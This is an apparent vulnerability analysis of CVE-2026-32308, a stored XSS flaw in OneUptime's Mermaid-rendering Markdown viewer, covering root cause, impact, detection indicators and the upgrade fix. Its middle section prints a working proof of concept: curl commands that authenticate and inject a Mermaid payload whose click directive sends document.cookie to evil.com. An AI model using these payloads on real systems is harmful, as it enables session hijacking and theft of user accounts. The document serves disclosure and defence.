CVE-2026-32308: 
JavaScript vulnerability analysis and mitigation

CVE-2026-32308 is a stored Cross-Site Scripting (XSS) vulnerability in OneUptime, an open-source monitoring and incident management platform. The flaw exists in the Markdown viewer component, which renders Mermaid diagrams with securityLevel: "loose" and injects the resulting SVG output directly into the DOM via innerHTML, enabling arbitrary JavaScript execution. All versions prior to 10.0.23 of the oneuptime npm package are affected. The vulnerability was published on March 12, 2026, and carries a CVSS v3.1 base score of 7.6 (High) (GitHub Advisory, OneUptime Advisory).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). In MarkdownViewer.tsx, Mermaid is initialized with securityLevel: "loose" (line 76), which explicitly permits interactive event bindings — including click directives — within rendered diagrams. After rendering, the SVG output is injected unsanitized into the DOM via containerRef.current.innerHTML = svg (line 106). An attacker can embed a malicious Mermaid payload such as click A callback "javascript:fetch('https://evil.com/?c='+document.cookie)" in any markdown-rendered field; when another user views the content, the JavaScript executes in their browser context. A concrete bash-based PoC using curl to authenticate and post a malicious incident note is publicly available in the advisory (OneUptime Advisory).

Successful exploitation results in stored XSS that executes arbitrary JavaScript in the browser context of any user who views the affected content, with high confidentiality impact (e.g., session cookie exfiltration) and low integrity impact. The MarkdownViewer component is shared across the entire OneUptime UI, meaning the attack surface spans incident notes and descriptions (viewed by on-call engineers), status page announcements (potentially visible to public visitors), and monitor descriptions (viewed by team members). Scope change is confirmed — a low-privileged attacker can impact other users' sessions across the application (GitHub Advisory, OneUptime Advisory).

A detailed, step-by-step PoC exploit is publicly available in the official security advisory, including specific curl commands, API endpoints, authentication flow, and a malicious Mermaid payload targeting a real OneUptime deployment to exfiltrate cookies via stored XSS (OneUptime Advisory). Exploitation requires low privileges (an authenticated account) and user interaction (a victim must view the poisoned content), but attack complexity is low. The EPSS score is approximately 0.053% (17th percentile), and there is no current evidence of in-the-wild exploitation or CISA KEV catalog listing (GitHub Advisory).

1. Authenticate: Obtain a bearer token by sending a POST request to https://TARGET/identity/login with valid low-privilege credentials:

TOKEN=$(curl -s -X POST 'https://TARGET/identity/login' \
  -H 'Content-Type: application/json' \
  -d '{"email":"user@example.com","password":"password123"}' \
  | jq -r '.token')

2. Craft malicious Mermaid payload: Construct a Mermaid diagram using the click directive to embed a JavaScript URI that exfiltrates cookies:

```mermaid
graph TD
  A["Load Balancer"] --> B["App Server"]
  click A callback "javascript:fetch('https://evil.com/?c='+document.cookie)"

3. **Inject payload into a markdown field**: POST the malicious note to an incident via the API, targeting a high-visibility incident likely to be viewed by on-call engineers:
```bash
curl -s -X POST 'https://TARGET/api/incident-note' \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -H 'tenantid: PROJECT_ID' \
  -d '{"data":{"incidentId":"INCIDENT_ID","note":"## Root Cause Analysis\n\n```mermaid\ngraph TD\n A[\"Load Balancer\"] --> B[\"App Server\"]\n click A callback \"javascript:fetch('https://evil.com/?c='+document.cookie)\"\n```","noteType":"RootCause"}}'

4. Wait for victim interaction: When any user navigates to the incident and views the note, the Mermaid diagram renders with securityLevel: "loose", the SVG is injected via innerHTML, and clicking the diagram node triggers the JavaScript payload.
5. Collect exfiltrated data: The victim's session cookies are sent to the attacker-controlled server (evil.com), enabling session hijacking and further unauthorized access (OneUptime Advisory).

• Network: Outbound HTTP requests from users' browsers to unexpected external domains (e.g., evil.com) with query parameters containing encoded cookie values; unusual GET requests to attacker-controlled infrastructure originating from OneUptime application pages.
• Logs: OneUptime API access logs showing POST requests to /api/incident-note, /api/status-page-announcement, or similar markdown-accepting endpoints containing the string mermaid, click A callback, or javascript:fetch in the request body.
• Application Content: Incident notes, status page announcements, or monitor descriptions containing Mermaid code blocks with click directives referencing javascript: URIs or external URLs; presence of javascript:fetch, document.cookie, or eval( within stored markdown fields.
• Browser Behavior: Unexpected network requests to external domains triggered when users view incident or status page content in OneUptime (OneUptime Advisory).

Upgrade the oneuptime npm package to version 10.0.23 or later, which resolves the vulnerability (GitHub Advisory). The fix involves two complementary changes: (1) changing the Mermaid securityLevel from "loose" to "strict" in MarkdownViewer.tsx, which strips all interactive event bindings from rendered diagrams; and (2) sanitizing the SVG output with DOMPurify before injecting it via innerHTML. As an interim workaround for organizations unable to upgrade immediately, implementing a strict Content Security Policy (CSP) header that blocks inline script execution and restricts fetch/XHR to trusted origins can reduce the impact of exploitation (OneUptime Advisory).

The vulnerability was published by maintainer simlarsen on March 12, 2026, and reviewed by GitHub on March 13, 2026. Community discussion was observed on Bluesky and Mastodon, with aggregator sites such as cvefeed.io and thehackerwire.com picking up the advisory shortly after publication. A threat intelligence write-up was published at yazoul.net covering the XSS vulnerability and remediation guidance (GitHub Advisory).